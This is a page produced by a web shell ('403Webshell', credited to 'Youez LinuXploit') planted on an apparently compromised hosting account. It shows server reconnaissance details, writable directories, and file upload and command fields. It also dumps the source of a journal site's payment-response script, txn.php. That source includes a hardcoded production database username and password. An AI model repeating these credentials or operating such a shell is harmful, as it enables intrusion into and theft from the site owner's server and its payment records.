403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/www/florajournal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/www/florajournal/txn.php
<?php
if(file_exists('inc/config.php')): require_once('inc/config.php'); else: die('Required file doesn\'t exist.'); endif;

$files_inc = array('encryptions.class', 'functions.class', 'sendmail.class', 'transaction.class', 'MPDF53/mpdf');
foreach($files_inc as $file_inc):
	if(file_exists(MYF.$file_inc.'.php')): require_once(MYF.$file_inc.'.php'); else: die('Required file doesn\'t exist.'); endif;
endforeach;

if($dbhost === '127.0.0.1'):
	$db = new mysqli('127.0.0.1', 'root', '', 'akinik');
else:
	$db = new mysqli('localhost', 'akinikpublicatio', '2-xu&*3qAh%C', 'akinikpublication');
endif;
if($db->connect_error):
	die('Database connection failed.');
endif;

$stmt = $mysqli->prepare("SELECT websitename, websiteemail, fromname, fromemail, replyname, replyemail, mailer FROM settings ORDER BY settingsid DESC LIMIT 1") or die('An error occurred. Please try after some time.');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($websitename, $websiteemail, $fromname, $fromemail, $replyname, $replyemail, $mailer);
$stmt->fetch();
$stmt->close();

$eMessage = <<<EOJ
<i class="material-icons red-text">error</i><br clear="all"><br clear="all"><h3 class="red-text">access denied</h3><br clear="all"><br clear="all"><p>Access to the requested page has been denied.</p><br clear="all"><a href="{$baseurl}" class="waves-effect btn-flat red-text">Go Back to Home</a>
EOJ;

echo <<<EOJ
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="robots" content="index, follow">
<title>Transaction Response</title>
EOJ;
?>
<link rel="shortcut icon" href="<?php echo $imageurl;?>favicon.ico" />
<link href="https://fonts.googleapis.com/css?family=Roboto:400,500|Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/css/materialize.min.css">
<style type="text/css">
*{margin:0;box-sizing:border-box;outline:none}html,body{width:100%}
body{background-color:#fff;color:#333;font-size:12px;font-family:'Roboto', sans-serif;overflow-y:scroll}

.card{margin:0;padding:40px 0;border-top:1px solid #eee;text-transform:uppercase}
.card i{font-size:60px}
.card h3{margin:0;font-size:14px;font-weight:500}
.card b,.card p{font-size:11px;font-weight:500}
.card button{height:37px;line-height:36px;font-size:12px;font-weight:500;font-family:'Roboto', sans-serif}
.card a{font-size:12px;font-weight:500}
</style>
</head>
<body>
<div class="row" style="padding-top:20px">
	<div class="col s12 m12 l4 center-align" style="float:none;margin:auto">
		<a href="<?php echo $baseurl;?>"><img src="<?php echo $imageurl;?>logo_receipt.png" alt="<?php echo $websitename;?>" height="60" /></a><br clear="all"><br clear="all">
		<div class="card center-align">
<?php
$txnid = filter_input(INPUT_GET, 'txnid', FILTER_SANITIZE_STRING);
$txnid = strip_tags($fn->remaspace($fn->escape(($txnid))));
$txnid = preg_replace('/[^A-Z0-9]/', '', $txnid);

$secretkey = filter_input(INPUT_GET, 'secretkey', FILTER_SANITIZE_STRING);
$secretkey = strip_tags($fn->remaspace($fn->escape($secretkey)));
$secretkey = preg_replace('/[^A-Z0-9]/', '', $secretkey);

$status = pathinfo(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), PATHINFO_BASENAME);

if($txnid && $secretkey && $status):
	$statuses = array('success' => 'successful', 'failed' => 'failed');
	$status = (array_key_exists($status, $statuses)) ? $statuses[$status] : '';
	$result = $tn->validate($db, $txnid, $secretkey, $status);
	if($result):
		if($status === 'successful'):
echo <<<EOJ
			<i class="material-icons green-text">done</i><br clear="all"><br clear="all">
			<h3 class="green-text">Your payment has been {$status}</h3><br clear="all">
			<b>Your transaction id: {$txnid}</b><br clear="all"><br clear="all">
			<p>We&apos;ve sent you a confirmation email with your payment details and payment receipt to {$result['email']}.</p><br clear="all">
			<b>For any other query</b><br clear="all"><b>Call: +91-9711224068</b><br clear="all"><br clear="all">
			<form action="{$baseurl}generate_receipt" method="post" name="paymentreceiptform">
				<input type="hidden" name="txnid" value="{$txnid}" autocomplete="off" readonly />
				<input type="hidden" name="email" value="{$result['email']}" autocomplete="off" readonly />
				<button type="submit" name="generate_receipt" class="waves-effect waves-light btn-flat green white-text">download receipt</button>
			</form><br clear="all">
			<a href="{$baseurl}" class="waves-effect btn-flat green-text">Go Back to Home</a>
EOJ;
		elseif($status === 'failed'):
echo <<<EOJ
			<i class="material-icons red-text">error</i><br clear="all"><br clear="all">
			<h3 class="red-text">Your payment has been {$status}</h3><br clear="all">
			<b>Your transaction id: {$txnid}</b><br clear="all"><br clear="all">
			<p>Please note the transaction id for your reference.</p><br clear="all">
			<b>For any other query</b><br clear="all"><b>Call: +91-9711224068</b><br clear="all"><br clear="all">
			<a href="{$baseurl}" class="waves-effect btn-flat red-text">Go Back to Home</a>
EOJ;
		else:
			echo $eMessage;
		endif;
	else:
		echo $eMessage;
	endif;
else:
	echo $eMessage;
endif;
?>
		</div>
	</div>
</div>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0-rc.2/js/materialize.min.js" defer></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit